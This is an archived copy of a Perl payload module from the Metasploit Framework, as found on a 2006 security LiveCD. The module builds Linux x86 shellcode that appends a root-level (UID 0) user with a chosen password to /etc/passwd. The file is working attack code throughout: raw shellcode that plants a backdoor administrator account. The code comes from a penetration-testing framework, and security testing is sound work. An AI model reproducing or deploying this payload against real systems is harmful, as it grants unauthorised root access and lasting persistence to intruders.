home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / linux_ia32_adduser.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  2.1 KB  |  78 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::linux_ia32_adduser;
  11. use strict;
  12. use base 'Msf::PayloadComponent::NoConnection';
  13. use Pex::x86;
  14.  
  15. my $info =
  16. {
  17.   'Name'         => 'Linux IA32 Add User',
  18.   'Version'      => '$Revision: 1.2 $',
  19.   'Description'  => 'Create a new user with UID 0',
  20.   'Authors'      => [ 'vlad902 <vlad902 [at] gmail.com>',
  21.                       'spoonm <ninjatools [at] hush.com>',
  22.                       'skape <mmiller [at] hick.org>' ],
  23.   'Arch'         => [ 'x86' ],
  24.   'Priv'         => 1,
  25.   'OS'           => [ 'linux' ],
  26.   'Size'         => '',
  27.   'UserOpts'     =>
  28.    {
  29.       'LUSER' => [1, 'DATA', 'The username to create', 'metasploit'],
  30.       'LPASS' => [1, 'DATA', 'The password for this user', 'metasploit'],
  31.       'LSHELL' => [0, 'DATA', 'The shell for this user', '/bin/sh'],
  32.    },
  33. };
  34.  
  35. sub new {
  36.   my $class = shift;
  37.   my $hash = @_ ? shift : { };
  38.   $hash = $class->MergeHashRec($hash, {'Info' => $info});
  39.   my $self = $class->SUPER::new($hash, @_);
  40.  
  41.   $self->_Info->{'Size'} = $self->_GenSize;
  42.   return($self);
  43. }
  44.  
  45. sub Build {
  46.   my $self = shift;
  47.   return($self->Generate());
  48. }
  49.  
  50. sub Generate {
  51.   my $self = shift;
  52.   my $user = $self->GetVar('LUSER') || 'metasploit';
  53.   my $pass = $self->GetVar('LPASS');
  54.   my $shell = $self->GetVar('LSHELL') || '/bin/sh';
  55.   my $str = $user . ":" . crypt($pass, "AA") . ":0:0::/:" . $shell . "\n";
  56.  
  57.   my $shellcode =
  58.     "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58".
  59.     "\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70".
  60.     "\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd".
  61.     "\x80\x93".
  62.     Pex::x86::call(length($str)).
  63.     $str.
  64.     "\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58".
  65.     "\xcd\x80";
  66.  
  67.   return($shellcode);
  68. }
  69.  
  70. sub _GenSize {
  71.   my $self = shift;
  72.   my $bin = $self->Generate('');
  73.   return(length($bin));
  74. }
  75.  
  76. 1;
  77.  
  78.